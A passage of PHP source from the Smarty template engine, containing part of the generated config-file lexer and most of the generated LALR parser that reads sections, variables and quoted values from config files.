            !in_array(strtolower($this->value), array('true', 'false', 'on', 'off', 'yes', 'no'))) {
            $this->yypopstate();
            $this->yypushstate(self::NAKED_STRING_VALUE);
            return true; //reprocess in new state
        } else {
            $this->token = Smarty_Internal_Configfileparser::TPC_BOOL;
            $this->yypopstate();
        }
    }

    public function yy_r2_8()
    {
        $this->token = Smarty_Internal_Configfileparser::TPC_NAKED_STRING;
        $this->yypopstate();
    }

    public function yy_r2_9()
    {
        $this->token = Smarty_Internal_Configfileparser::TPC_NAKED_STRING;
        $this->value = '';
        $this->yypopstate();
    } // end function

    public function yylex3()
    {
        if (!isset($this->yy_global_pattern3)) {
            $this->yy_global_pattern3 = $this->replace("/\G([^\n]+?(?=[ \t\r]*\n))/isS");
        }
        if (!isset($this->dataLength)) {
            $this->dataLength = strlen($this->data);
        }
        if ($this->counter >= $this->dataLength) {
            return false; // end of input
        }
        do {
            if (preg_match($this->yy_global_pattern3, $this->data, $yymatches, 0, $this->counter)) {
                if (!isset($yymatches[ 0 ][ 1 ])) {
                    $yymatches = preg_grep("/(.|\s)+/", $yymatches);
                } else {
                    $yymatches = array_filter($yymatches);
                }
                if (empty($yymatches)) {
                    throw new Exception('Error: lexing failed because a rule matched' .
                                        ' an empty string.  Input "' . substr(
                                            $this->data,
                                            $this->counter,
                                            5
                                        ) . '... state NAKED_STRING_VALUE');
                }
                next($yymatches); // skip global match
                $this->token = key($yymatches); // token number
                $this->value = current($yymatches); // token value
                $r = $this->{'yy_r3_' . $this->token}();
                if ($r === null) {
                    $this->counter += strlen($this->value);
                    $this->line += substr_count($this->value, "\n");
                    // accept this token
                    return true;
                } elseif ($r === true) {
                    // we have changed state
                    // process this token in the new state
                    return $this->yylex();
                } elseif ($r === false) {
                    $this->counter += strlen($this->value);
                    $this->line += substr_count($this->value, "\n");
                    if ($this->counter >= $this->dataLength) {
                        return false; // end of input
                    }
                    // skip this token
                    continue;
                }
            } else {
                throw new Exception('Unexpected input at line' . $this->line .
                                    ': ' . $this->data[ $this->counter ]);
            }
            break;
        } while (true);
    }

    public function yy_r3_1()
    {
        $this->token = Smarty_Internal_Configfileparser::TPC_NAKED_STRING;
        $this->yypopstate();
    }

    public function yylex4()
    {
        if (!isset($this->yy_global_pattern4)) {
            $this->yy_global_pattern4 = $this->replace("/\G([ \t\r]+)|\G([^\n]+?(?=[ \t\r]*\n))|\G(\n)/isS");
        }
        if (!isset($this->dataLength)) {
            $this->dataLength = strlen($this->data);
        }
        if ($this->counter >= $this->dataLength) {
            return false; // end of input
        }
        do {
            if (preg_match($this->yy_global_pattern4, $this->data, $yymatches, 0, $this->counter)) {
                if (!isset($yymatches[ 0 ][ 1 ])) {
                    $yymatches = preg_grep("/(.|\s)+/", $yymatches);
                } else {
                    $yymatches = array_filter($yymatches);
                }
                if (empty($yymatches)) {
                    throw new Exception('Error: lexing failed because a rule matched' .
                                        ' an empty string.  Input "' . substr(
                                            $this->data,
                                            $this->counter,
                                            5
                                        ) . '... state COMMENT');
                }
                next($yymatches); // skip global match
                $this->token = key($yymatches); // token number
                $this->value = current($yymatches); // token value
                $r = $this->{'yy_r4_' . $this->token}();
                if ($r === null) {
                    $this->counter += strlen($this->value);
                    $this->line += substr_count($this->value, "\n");
                    // accept this token
                    return true;
                } elseif ($r === true) {
                    // we have changed state
                    // process this token in the new state
                    return $this->yylex();
                } elseif ($r === false) {
                    $this->counter += strlen($this->value);
                    $this->line += substr_count($this->value, "\n");
                    if ($this->counter >= $this->dataLength) {
                        return false; // end of input
                    }
                    // skip this token
                    continue;
                }
            } else {
                throw new Exception('Unexpected input at line' . $this->line .
                                    ': ' . $this->data[ $this->counter ]);
            }
            break;
        } while (true);
    }

    public function yy_r4_1()
    {
        return false;
    }

    public function yy_r4_2()
    {
        $this->token = Smarty_Internal_Configfileparser::TPC_NAKED_STRING;
    } // end function

    public function yy_r4_3()
    {
        $this->token = Smarty_Internal_Configfileparser::TPC_NEWLINE;
        $this->yypopstate();
    }

    public function yylex5()
    {
        if (!isset($this->yy_global_pattern5)) {
            $this->yy_global_pattern5 = $this->replace("/\G(\\.)|\G(.*?(?=[\.=[\]\r\n]))/isS");
        }
        if (!isset($this->dataLength)) {
            $this->dataLength = strlen($this->data);
        }
        if ($this->counter >= $this->dataLength) {
            return false; // end of input
        }
        do {
            if (preg_match($this->yy_global_pattern5, $this->data, $yymatches, 0, $this->counter)) {
                if (!isset($yymatches[ 0 ][ 1 ])) {
                    $yymatches = preg_grep("/(.|\s)+/", $yymatches);
                } else {
                    $yymatches = array_filter($yymatches);
                }
                if (empty($yymatches)) {
                    throw new Exception('Error: lexing failed because a rule matched' .
                                        ' an empty string.  Input "' . substr(
                                            $this->data,
                                            $this->counter,
                                            5
                                        ) . '... state SECTION');
                }
                next($yymatches); // skip global match
                $this->token = key($yymatches); // token number
                $this->value = current($yymatches); // token value
                $r = $this->{'yy_r5_' . $this->token}();
                if ($r === null) {
                    $this->counter += strlen($this->value);
                    $this->line += substr_count($this->value, "\n");
                    // accept this token
                    return true;
                } elseif ($r === true) {
                    // we have changed state
                    // process this token in the new state
                    return $this->yylex();
                } elseif ($r === false) {
                    $this->counter += strlen($this->value);
                    $this->line += substr_count($this->value, "\n");
                    if ($this->counter >= $this->dataLength) {
                        return false; // end of input
                    }
                    // skip this token
                    continue;
                }
            } else {
                throw new Exception('Unexpected input at line' . $this->line .
                                    ': ' . $this->data[ $this->counter ]);
            }
            break;
        } while (true);
    }

    public function yy_r5_1()
    {
        $this->token = Smarty_Internal_Configfileparser::TPC_DOT;
    }

    public function yy_r5_2()
    {
        $this->token = Smarty_Internal_Configfileparser::TPC_SECTION;
        $this->yypopstate();
    } // end function

    public function yylex6()
    {
        if (!isset($this->yy_global_pattern6)) {
            $this->yy_global_pattern6 = $this->replace("/\G(\"\"\"(?=[ \t\r]*[\n#;]))|\G([\S\s])/isS");
        }
        if (!isset($this->dataLength)) {
            $this->dataLength = strlen($this->data);
        }
        if ($this->counter >= $this->dataLength) {
            return false; // end of input
        }
        do {
            if (preg_match($this->yy_global_pattern6, $this->data, $yymatches, 0, $this->counter)) {
                if (!isset($yymatches[ 0 ][ 1 ])) {
                    $yymatches = preg_grep("/(.|\s)+/", $yymatches);
                } else {
                    $yymatches = array_filter($yymatches);
                }
                if (empty($yymatches)) {
                    throw new Exception('Error: lexing failed because a rule matched' .
                                        ' an empty string.  Input "' . substr(
                                            $this->data,
                                            $this->counter,
                                            5
                                        ) . '... state TRIPPLE');
                }
                next($yymatches); // skip global match
                $this->token = key($yymatches); // token number
                $this->value = current($yymatches); // token value
                $r = $this->{'yy_r6_' . $this->token}();
                if ($r === null) {
                    $this->counter += strlen($this->value);
                    $this->line += substr_count($this->value, "\n");
                    // accept this token
                    return true;
                } elseif ($r === true) {
                    // we have changed state
                    // process this token in the new state
                    return $this->yylex();
                } elseif ($r === false) {
                    $this->counter += strlen($this->value);
                    $this->line += substr_count($this->value, "\n");
                    if ($this->counter >= $this->dataLength) {
                        return false; // end of input
                    }
                    // skip this token
                    continue;
                }
            } else {
                throw new Exception('Unexpected input at line' . $this->line .
                                    ': ' . $this->data[ $this->counter ]);
            }
            break;
        } while (true);
    }

    public function yy_r6_1()
    {
        $this->token = Smarty_Internal_Configfileparser::TPC_TRIPPLE_QUOTES_END;
        $this->yypopstate();
        $this->yypushstate(self::START);
    }

    public function yy_r6_2()
    {
        $to = strlen($this->data);
        preg_match("/\"\"\"[ \t\r]*[\n#;]/", $this->data, $match, PREG_OFFSET_CAPTURE, $this->counter);
        if (isset($match[ 0 ][ 1 ])) {
            $to = $match[ 0 ][ 1 ];
        } else {
            $this->compiler->trigger_config_file_error('missing or misspelled literal closing tag');
        }
        $this->value = substr($this->data, $this->counter, $to - $this->counter);
        $this->token = Smarty_Internal_Configfileparser::TPC_TRIPPLE_TEXT;
    }
}
<?php

class TPC_yyStackEntry
{
    public $stateno;       /* The state-number */
    public $major;         /* The major token value.  This is the code
                     ** number for the token at this stack level */
    public $minor; /* The user-supplied minor token value.  This
                     ** is the value of the token  */
}

// line 12 "../smarty/lexer/smarty_internal_configfileparser.y"

/**
 * Smarty Internal Plugin Configfileparse
 *
 * This is the config file parser.
 * It is generated from the smarty_internal_configfileparser.y file
 *
 * @package    Smarty
 * @subpackage Compiler
 * @author     Uwe Tews
 */
class Smarty_Internal_Configfileparser
{
    // line 25 "../smarty/lexer/smarty_internal_configfileparser.y"
    const TPC_OPENB                = 1;
    const TPC_SECTION              = 2;
    const TPC_CLOSEB               = 3;
    const TPC_DOT                  = 4;
    const TPC_ID                   = 5;
    const TPC_EQUAL                = 6;
    const TPC_FLOAT                = 7;
    const TPC_INT                  = 8;
    const TPC_BOOL                 = 9;
    const TPC_SINGLE_QUOTED_STRING = 10;
    const TPC_DOUBLE_QUOTED_STRING = 11;
    const TPC_TRIPPLE_QUOTES       = 12;
    const TPC_TRIPPLE_TEXT         = 13;
    const TPC_TRIPPLE_QUOTES_END   = 14;
    const TPC_NAKED_STRING         = 15;
    const TPC_OTHER                = 16;
    const TPC_NEWLINE              = 17;
    const TPC_COMMENTSTART         = 18;
    const YY_NO_ACTION             = 60;
    const YY_ACCEPT_ACTION         = 59;
    const YY_ERROR_ACTION          = 58;
    const YY_SZ_ACTTAB             = 38;
    const YY_SHIFT_USE_DFLT        = -8;
    const YY_SHIFT_MAX             = 19;
    const YY_REDUCE_USE_DFLT       = -17;
    const YY_REDUCE_MAX            = 10;
    const YYNOCODE                 = 29;
    const YYSTACKDEPTH             = 100;
    const YYNSTATE                 = 36;
    const YYNRULE                  = 22;
    const YYERRORSYMBOL            = 19;
    const YYERRSYMDT               = 'yy0';
    const YYFALLBACK               = 0;

    public static $yy_action        = array(
        32, 31, 30, 29, 35, 13, 19, 3, 24, 26,
        59, 9, 14, 1, 16, 25, 11, 28, 25, 11,
        17, 27, 34, 20, 18, 15, 23, 5, 6, 22,
        10, 8, 4, 12, 2, 33, 7, 21,
    );

    public static $yy_lookahead     = array(
        7, 8, 9, 10, 11, 12, 5, 23, 15, 16,
        20, 21, 2, 23, 4, 17, 18, 14, 17, 18,
        13, 14, 25, 26, 15, 2, 17, 3, 3, 17,
        25, 25, 6, 1, 23, 27, 22, 24,
    );

    public static $yy_shift_ofst    = array(
        -8, 1, 1, 1, -7, -2, -2, 32, -8, -8,
        -8, 9, 10, 7, 25, 24, 23, 3, 12, 26,
    );

    public static $yy_reduce_ofst   = array(
        -10, -3, -3, -3, 8, 6, 5, 13, 11, 14,
        -16,
    );

    public static $yyExpectedTokens = array(
        array(),
        array(5, 17, 18,),
        array(5, 17, 18,),
        array(5, 17, 18,),
        array(7, 8, 9, 10, 11, 12, 15, 16,),
        array(17, 18,),
        array(17, 18,),
        array(1,),
        array(),
        array(),
        array(),
        array(15, 17,),
        array(2, 4,),
        array(13, 14,),
        array(3,),
        array(3,),
        array(2,),
        array(14,),
        array(17,),
        array(6,),
        array(),
        array(),
        array(),
        array(),
        array(),
        array(),
        array(),
        array(),
        array(),
        array(),
        array(),
        array(),
        array(),
        array(),
        array(),
        array(),
    );

    public static $yy_default       = array(
        44, 37, 41, 40, 58, 58, 58, 36, 44, 39,
        44, 58, 58, 58, 58, 58, 58, 58, 58, 58,
        43, 38, 57, 56, 53, 55, 54, 52, 51, 49,
        48, 47, 46, 45, 42, 50,
    );

    public static $yyFallback       = array();

    public static $yyRuleName       = array(
        'start ::= global_vars sections',
        'global_vars ::= var_list',
        'sections ::= sections section',
        'sections ::=',
        'section ::= OPENB SECTION CLOSEB newline var_list',
        'section ::= OPENB DOT SECTION CLOSEB newline var_list',
        'var_list ::= var_list newline',
        'var_list ::= var_list var',
        'var_list ::=',
        'var ::= ID EQUAL value',
        'value ::= FLOAT',
        'value ::= INT',
        'value ::= BOOL',
        'value ::= SINGLE_QUOTED_STRING',
        'value ::= DOUBLE_QUOTED_STRING',
        'value ::= TRIPPLE_QUOTES TRIPPLE_TEXT TRIPPLE_QUOTES_END',
        'value ::= TRIPPLE_QUOTES TRIPPLE_QUOTES_END',
        'value ::= NAKED_STRING',
        'value ::= OTHER',
        'newline ::= NEWLINE',
        'newline ::= COMMENTSTART NEWLINE',
        'newline ::= COMMENTSTART NAKED_STRING NEWLINE',
    );

    public static $yyRuleInfo       = array(
        array(0 => 20, 1 => 2),
        array(0 => 21, 1 => 1),
        array(0 => 22, 1 => 2),
        array(0 => 22, 1 => 0),
        array(0 => 24, 1 => 5),
        array(0 => 24, 1 => 6),
        array(0 => 23, 1 => 2),
        array(0 => 23, 1 => 2),
        array(0 => 23, 1 => 0),
        array(0 => 26, 1 => 3),
        array(0 => 27, 1 => 1),
        array(0 => 27, 1 => 1),
        array(0 => 27, 1 => 1),
        array(0 => 27, 1 => 1),
        array(0 => 27, 1 => 1),
        array(0 => 27, 1 => 3),
        array(0 => 27, 1 => 2),
        array(0 => 27, 1 => 1),
        array(0 => 27, 1 => 1),
        array(0 => 25, 1 => 1),
        array(0 => 25, 1 => 2),
        array(0 => 25, 1 => 3),
    );

    public static $yyReduceMap      = array(
        0  => 0,
        2  => 0,
        3  => 0,
        19 => 0,
        20 => 0,
        21 => 0,
        1  => 1,
        4  => 4,
        5  => 5,
        6  => 6,
        7  => 7,
        8  => 8,
        9  => 9,
        10 => 10,
        11 => 11,
        12 => 12,
        13 => 13,
        14 => 14,
        15 => 15,
        16 => 16,
        17 => 17,
        18 => 17,
    );

    /**
     * helper map
     *
     * @var array
     */
    private static $escapes_single = array(
        '\\' => '\\',
        '\'' => '\''
    );

    /**
     * result status
     *
     * @var bool
     */
    public $successful = true;

    /**
     * return value
     *
     * @var mixed
     */
    public $retvalue = 0;

    /**
     * @var
     */
    public $yymajor;

    /**
     * compiler object
     *
     * @var Smarty_Internal_Config_File_Compiler
     */
    public $compiler = null;

    /**
     * smarty object
     *
     * @var Smarty
     */
    public $smarty      = null;

    public $yyTraceFILE;

    public $yyTracePrompt;

    public $yyidx;

    public $yyerrcnt;

    public $yystack     = array();

    public $yyTokenName = array(
        '$', 'OPENB', 'SECTION', 'CLOSEB',
        'DOT', 'ID', 'EQUAL', 'FLOAT',
        'INT', 'BOOL', 'SINGLE_QUOTED_STRING', 'DOUBLE_QUOTED_STRING',
        'TRIPPLE_QUOTES', 'TRIPPLE_TEXT', 'TRIPPLE_QUOTES_END', 'NAKED_STRING',
        'OTHER', 'NEWLINE', 'COMMENTSTART', 'error',
        'start', 'global_vars', 'sections', 'var_list',
        'section', 'newline', 'var', 'value',
    );

    /**
     * lexer object
     *
     * @var Smarty_Internal_Configfilelexer
     */
    private $lex;

    /**
     * internal error flag
     *
     * @var bool
     */
    private $internalError = false;

    /**
     * copy of config_overwrite property
     *
     * @var bool
     */
    private $configOverwrite = false;

    /**
     * copy of config_read_hidden property
     *
     * @var bool
     */
    private $configReadHidden = false;

    private $_retvalue;

    /**
     * constructor
     *
     * @param Smarty_Internal_Configfilelexer      $lex
     * @param Smarty_Internal_Config_File_Compiler $compiler
     */
    public function __construct(Smarty_Internal_Configfilelexer $lex, Smarty_Internal_Config_File_Compiler $compiler)
    {
        $this->lex = $lex;
        $this->smarty = $compiler->smarty;
        $this->compiler = $compiler;
        $this->configOverwrite = $this->smarty->config_overwrite;
        $this->configReadHidden = $this->smarty->config_read_hidden;
    }

    public static function yy_destructor($yymajor, $yypminor)
    {
        switch ($yymajor) {
            default:
                break;   /* If no destructor action specified: do nothing */
        }
    }

    /**
     * parse single quoted string
     *  remove outer quotes
     *  unescape inner quotes
     *
     * @param string $qstr
     *
     * @return string
     */
    private static function parse_single_quoted_string($qstr)
    {
        $escaped_string = substr($qstr, 1, strlen($qstr) - 2); //remove outer quotes
        $ss = preg_split('/(\\\\.)/', $escaped_string, -1, PREG_SPLIT_DELIM_CAPTURE);
        $str = '';
        foreach ($ss as $s) {
            if (strlen($s) === 2 && $s[ 0 ] === '\\') {
                if (isset(self::$escapes_single[ $s[ 1 ] ])) {
                    $s = self::$escapes_single[ $s[ 1 ] ];
                }
            }
            $str .= $s;
        }
        return $str;
    }                    /* Index of top element in stack */
    /**
     * parse double quoted string
     *
     * @param string $qstr
     *
     * @return string
     */
    private static function parse_double_quoted_string($qstr)
    {
        $inner_str = substr($qstr, 1, strlen($qstr) - 2);
        return stripcslashes($inner_str);
    }                 /* Shifts left before out of the error */
    /**
     * parse triple quoted string
     *
     * @param string $qstr
     *
     * @return string
     */
    private static function parse_tripple_double_quoted_string($qstr)
    {
        return stripcslashes($qstr);
    }  /* The parser's stack */
    public function Trace($TraceFILE, $zTracePrompt)
    {
        if (!$TraceFILE) {
            $zTracePrompt = 0;
        } elseif (!$zTracePrompt) {
            $TraceFILE = 0;
        }
        $this->yyTraceFILE = $TraceFILE;
        $this->yyTracePrompt = $zTracePrompt;
    }

    public function PrintTrace()
    {
        $this->yyTraceFILE = fopen('php://output', 'w');
        $this->yyTracePrompt = '<br>';
    }

    public function tokenName($tokenType)
    {
        if ($tokenType === 0) {
            return 'End of Input';
        }
        if ($tokenType > 0 && $tokenType < count($this->yyTokenName)) {
            return $this->yyTokenName[ $tokenType ];
        } else {
            return 'Unknown';
        }
    }

    public function yy_pop_parser_stack()
    {
        if (empty($this->yystack)) {
            return;
        }
        $yytos = array_pop($this->yystack);
        if ($this->yyTraceFILE && $this->yyidx >= 0) {
            fwrite(
                $this->yyTraceFILE,
                $this->yyTracePrompt . 'Popping ' . $this->yyTokenName[ $yytos->major ] .
                "\n"
            );
        }
        $yymajor = $yytos->major;
        self::yy_destructor($yymajor, $yytos->minor);
        $this->yyidx--;
        return $yymajor;
    }

    public function __destruct()
    {
        while ($this->yystack !== array()) {
            $this->yy_pop_parser_stack();
        }
        if (is_resource($this->yyTraceFILE)) {
            fclose($this->yyTraceFILE);
        }
    }

    public function yy_get_expected_tokens($token)
    {
        static $res3 = array();
        static $res4 = array();
        $state = $this->yystack[ $this->yyidx ]->stateno;
        $expected = self::$yyExpectedTokens[ $state ];
        if (isset($res3[ $state ][ $token ])) {
            if ($res3[ $state ][ $token ]) {
                return $expected;
            }
        } else {
            if ($res3[ $state ][ $token ] = in_array($token, self::$yyExpectedTokens[ $state ], true)) {
                return $expected;
            }
        }
        $stack = $this->yystack;
        $yyidx = $this->yyidx;
        do {
            $yyact = $this->yy_find_shift_action($token);
            if ($yyact >= self::YYNSTATE && $yyact < self::YYNSTATE + self::YYNRULE) {
                // reduce action
                $done = 0;
                do {
                    if ($done++ === 100) {
                        $this->yyidx = $yyidx;
                        $this->yystack = $stack;
                        // too much recursion prevents proper detection
                        // so give up
                        return array_unique($expected);
                    }
                    $yyruleno = $yyact - self::YYNSTATE;
                    $this->yyidx -= self::$yyRuleInfo[ $yyruleno ][ 1 ];
                    $nextstate = $this->yy_find_reduce_action(
                        $this->yystack[ $this->yyidx ]->stateno,
                        self::$yyRuleInfo[ $yyruleno ][ 0 ]
                    );
                    if (isset(self::$yyExpectedTokens[ $nextstate ])) {
                        $expected = array_merge($expected, self::$yyExpectedTokens[ $nextstate ]);
                        if (isset($res4[ $nextstate ][ $token ])) {
                            if ($res4[ $nextstate ][ $token ]) {
                                $this->yyidx = $yyidx;
                                $this->yystack = $stack;
                                return array_unique($expected);
                            }
                        } else {
                            if ($res4[ $nextstate ][ $token ] =
                                in_array($token, self::$yyExpectedTokens[ $nextstate ], true)) {
                                $this->yyidx = $yyidx;
                                $this->yystack = $stack;
                                return array_unique($expected);
                            }
                        }
                    }
                    if ($nextstate < self::YYNSTATE) {
                        // we need to shift a non-terminal
                        $this->yyidx++;
                        $x = new TPC_yyStackEntry;
                        $x->stateno = $nextstate;
                        $x->major = self::$yyRuleInfo[ $yyruleno ][ 0 ];
                        $this->yystack[ $this->yyidx ] = $x;
                        continue 2;
                    } elseif ($nextstate === self::YYNSTATE + self::YYNRULE + 1) {
                        $this->yyidx = $yyidx;
                        $this->yystack = $stack;
                        // the last token was just ignored, we can't accept
                        // by ignoring input, this is in essence ignoring a
                        // syntax error!
                        return array_unique($expected);
                    } elseif ($nextstate === self::YY_NO_ACTION) {
                        $this->yyidx = $yyidx;
                        $this->yystack = $stack;
                        // input accepted, but not shifted (I guess)
                        return $expected;
                    } else {
                        $yyact = $nextstate;
                    }
                } while (true);
            }
            break;
        } while (true);
        $this->yyidx = $yyidx;
        $this->yystack = $stack;
        return array_unique($expected);
    }

    public function yy_is_expected_token($token)
    {
        static $res = array();
        static $res2 = array();
        if ($token === 0) {
            return true; // 0 is not part of this
        }
        $state = $this->yystack[ $this->yyidx ]->stateno;
        if (isset($res[ $state ][ $token ])) {
            if ($res[ $state ][ $token ]) {
                return true;
            }
        } else {
            if ($res[ $state ][ $token ] = in_array($token, self::$yyExpectedTokens[ $state ], true)) {
                return true;
            }
        }
        $stack = $this->yystack;
        $yyidx = $this->yyidx;
        do {
            $yyact = $this->yy_find_shift_action($token);
            if ($yyact >= self::YYNSTATE && $yyact < self::YYNSTATE + self::YYNRULE) {
                // reduce action
                $done = 0;
                do {
                    if ($done++ === 100) {
                        $this->yyidx = $yyidx;
                        $this->yystack = $stack;
                        // too much recursion prevents proper detection
                        // so give up
                        return true;
                    }
                    $yyruleno = $yyact - self::YYNSTATE;
                    $this->yyidx -= self::$yyRuleInfo[ $yyruleno ][ 1 ];
                    $nextstate = $this->yy_find_reduce_action(
                        $this->yystack[ $this->yyidx ]->stateno,
                        self::$yyRuleInfo[ $yyruleno ][ 0 ]
                    );
                    if (isset($res2[ $nextstate ][ $token ])) {
                        if ($res2[ $nextstate ][ $token ]) {
                            $this->yyidx = $yyidx;
                            $this->yystack = $stack;
                            return true;
                        }
                    } else {
                        if ($res2[ $nextstate ][ $token ] =
                            (isset(self::$yyExpectedTokens[ $nextstate ]) &&
                             in_array($token, self::$yyExpectedTokens[ $nextstate ], true))) {
                            $this->yyidx = $yyidx;
                            $this->yystack = $stack;
                            return true;
                        }
                    }
                    if ($nextstate < self::YYNSTATE) {
                        // we need to shift a non-terminal
                        $this->yyidx++;
                        $x = new TPC_yyStackEntry;
                        $x->stateno = $nextstate;
                        $x->major = self::$yyRuleInfo[ $yyruleno ][ 0 ];
                        $this->yystack[ $this->yyidx ] = $x;
                        continue 2;
                    } elseif ($nextstate === self::YYNSTATE + self::YYNRULE + 1) {
                        $this->yyidx = $yyidx;
                        $this->yystack = $stack;
                        if (!$token) {
                            // end of input: this is valid
                            return true;
                        }
                        // the last token was just ignored, we can't accept
                        // by ignoring input, this is in essence ignoring a
                        // syntax error!
                        return false;
                    } elseif ($nextstate === self::YY_NO_ACTION) {
                        $this->yyidx = $yyidx;
                        $this->yystack = $stack;
                        // input accepted, but not shifted (I guess)
                        return true;
                    } else {
                        $yyact = $nextstate;
                    }
                } while (true);
            }
            break;
        } while (true);
        $this->yyidx = $yyidx;
        $this->yystack = $stack;
        return true;
    }

    public function yy_find_shift_action($iLookAhead)
    {
        $stateno = $this->yystack[ $this->yyidx ]->stateno;
        /* if ($this->yyidx < 0) return self::YY_NO_ACTION;  */
        if (!isset(self::$yy_shift_ofst[ $stateno ])) {
            // no shift actions
            return self::$yy_default[ $stateno ];
        }
        $i = self::$yy_shift_ofst[ $stateno ];
        if ($i === self::YY_SHIFT_USE_DFLT) {
            return self::$yy_default[ $stateno ];
        }
        if ($iLookAhead === self::YYNOCODE) {
            return self::YY_NO_ACTION;
        }
        $i += $iLookAhead;
        if ($i < 0 || $i >= self::YY_SZ_ACTTAB ||
            self::$yy_lookahead[ $i ] != $iLookAhead) {
            if (count(self::$yyFallback) && $iLookAhead < count(self::$yyFallback)
                && ($iFallback = self::$yyFallback[ $iLookAhead ]) != 0) {
                if ($this->yyTraceFILE) {
                    fwrite($this->yyTraceFILE, $this->yyTracePrompt . 'FALLBACK ' .
                                               $this->yyTokenName[ $iLookAhead ] . ' => ' .
                                               $this->yyTokenName[ $iFallback ] . "\n");
                }
                return $this->yy_find_shift_action($iFallback);
            }
            return self::$yy_default[ $stateno ];
        } else {
            return self::$yy_action[ $i ];
        }
    }

    public function yy_find_reduce_action($stateno, $iLookAhead)
    {
        /* $stateno = $this->yystack[$this->yyidx]->stateno; */
        if (!isset(self::$yy_reduce_ofst[ $stateno ])) {
            return self::$yy_default[ $stateno ];
        }
        $i = self::$yy_reduce_ofst[ $stateno ];
        if ($i === self::YY_REDUCE_USE_DFLT) {
            return self::$yy_default[ $stateno ];
        }
        if ($iLookAhead === self::YYNOCODE) {
            return self::YY_NO_ACTION;
        }
        $i += $iLookAhead;
        if ($i < 0 || $i >= self::YY_SZ_ACTTAB ||
            self::$yy_lookahead[ $i ] != $iLookAhead) {
            return self::$yy_default[ $stateno ];
        } else {
            return self::$yy_action[ $i ];
        }
    }

    public function yy_shift($yyNewState, $yyMajor, $yypMinor)
    {
        $this->yyidx++;
        if ($this->yyidx >= self::YYSTACKDEPTH) {
            $this->yyidx--;
            if ($this->yyTraceFILE) {
                fprintf($this->yyTraceFILE, "%sStack Overflow!\n", $this->yyTracePrompt);
            }
            while ($this->yyidx >= 0) {
                $this->yy_pop_parser_stack();
            }
            // line 239 "../smarty/lexer/smarty_internal_configfileparser.y"
            $this->internalError = true;
            $this->compiler->trigger_config_file_error('Stack overflow in configfile parser');
            return;
        }
        $yytos = new TPC_yyStackEntry;
        $yytos->stateno = $yyNewState;
        $yytos->major = $yyMajor;
        $yytos->minor = $yypMinor;
        $this->yystack[] = $yytos;
        if ($this->yyTraceFILE && $this->yyidx > 0) {
            fprintf(
                $this->yyTraceFILE,
                "%sShift %d\n",
                $this->yyTracePrompt,
                $yyNewState
            );
            fprintf($this->yyTraceFILE, "%sStack:", $this->yyTracePrompt);
            for ($i = 1; $i <= $this->yyidx; $i++) {
                fprintf(
                    $this->yyTraceFILE,
                    " %s",
                    $this->yyTokenName[ $this->yystack[ $i ]->major ]
                );
            }
            fwrite($this->yyTraceFILE, "\n");
        }
    }

    public function yy_r0()
    {
        $this->_retvalue = null;
    }

    public function yy_r1()
    {
        $this->add_global_vars($this->yystack[ $this->yyidx + 0 ]->minor);
        $this->_retvalue = null;
    }

    public function yy_r4()
    {
        $this->add_section_vars($this->yystack[ $this->yyidx + -3 ]->minor, $this->yystack[ $this->yyidx + 0 ]->minor);
        $this->_retvalue = null;
    }

    // line 245 "../smarty/lexer/smarty_internal_configfileparser.y"
    public function yy_r5()
    {
        if ($this->configReadHidden) {
            $this->add_section_vars(
                $this->yystack[ $this->yyidx + -3 ]->minor,
                $this->yystack[ $this->yyidx + 0 ]->minor
            );
        }
        $this->_retvalue = null;
    }

    // line 250 "../smarty/lexer/smarty_internal_configfileparser.y"
    public function yy_r6()
    {
        $this->_retvalue = $this->yystack[ $this->yyidx + -1 ]->minor;
    }

    // line 264 "../smarty/lexer/smarty_internal_configfileparser.y"
    public function yy_r7()
    {
        $this->_retvalue =
            array_merge($this->yystack[ $this->yyidx + -1 ]->minor, array($this->yystack[ $this->yyidx + 0 ]->minor));
    }

    // line 269 "../smarty/lexer/smarty_internal_configfileparser.y"
    public function yy_r8()
    {
        $this->_retvalue = array();
    }

    // line 277 "../smarty/lexer/smarty_internal_configfileparser.y"
    public function yy_r9()
    {
        $this->_retvalue =
            array(
                'key'   => $this->yystack[ $this->yyidx + -2 ]->minor,
                'value' => $this->yystack[ $this->yyidx + 0 ]->minor
            );
    }

    // line 281 "../smarty/lexer/smarty_internal_configfileparser.y"
    public function yy_r10()
    {
        $this->_retvalue = (float)$this->yystack[ $this->yyidx + 0 ]->minor;
    }

    // line 285 "../smarty/lexer/smarty_internal_configfileparser.y"
    public function yy_r11()
    {
        $this->_retvalue = (int)$this->yystack[ $this->yyidx + 0 ]->minor;
    }

    // line 291 "../smarty/lexer/smarty_internal_configfileparser.y"
    public function yy_r12()
    {
        $this->_retvalue = $this->parse_bool($this->yystack[ $this->yyidx + 0 ]->minor);
    }

    // line 296 "../smarty/lexer/smarty_internal_configfileparser.y"
    public function yy_r13()
    {
        $this->_retvalue = self::parse_single_quoted_string($this->yystack[ $this->yyidx + 0 ]->minor);
    }

    // line 300 "../smarty/lexer/smarty_internal_configfileparser.y"
    public function yy_r14()
    {
        $this->_retvalue = self::parse_double_quoted_string($this->yystack[ $this->yyidx + 0 ]->minor);
    }

    // line 304 "../smarty/lexer/smarty_internal_configfileparser.y"
    public function yy_r15()
    {
        $this->_retvalue = self::parse_tripple_double_quoted_string($this->yystack[ $this->yyidx + -1 ]->minor);
    }

    // line 308 "../smarty/lexer/smarty_internal_configfileparser.y"
    public function yy_r16()
    {
        $this->_retvalue = '';
    }

    // line 312 "../smarty/lexer/smarty_internal_configfileparser.y"
    public function yy_r17()
    {
        $this->_retvalue = $this->yystack[ $this->yyidx + 0 ]->minor;
    }

    // line 316 "../smarty/lexer/smarty_internal_configfileparser.y"
    public function yy_reduce($yyruleno)
    {
        if ($this->yyTraceFILE && $yyruleno >= 0
            && $yyruleno < count(self::$yyRuleName)) {
            fprintf(
                $this->yyTraceFILE,
                "%sReduce (%d) [%s].\n",
                $this->yyTracePrompt,
                $yyruleno,
                self::$yyRuleName[ $yyruleno ]
            );
        }
        $this->_retvalue = $yy_lefthand_side = null;
        if (isset(self::$yyReduceMap[ $yyruleno ])) {
            // call the action
            $this->_retvalue = null;
            $this->{'yy_r' . self::$yyReduceMap[ $yyruleno ]}();
            $yy_lefthand_side = $this->_retvalue;
        }
        $yygoto = self::$yyRuleInfo[ $yyruleno ][ 0 ];
        $yysize = self::$yyRuleInfo[ $yyruleno ][ 1 ];
        $this->yyidx -= $yysize;
        for ($i = $yysize; $i; $i--) {
            // pop all of the right-hand side parameters
            array_pop($this->yystack);
        }
        $yyact = $this->yy_find_reduce_action($this->yystack[ $this->yyidx ]->stateno, $yygoto);
        if ($yyact < self::YYNSTATE) {
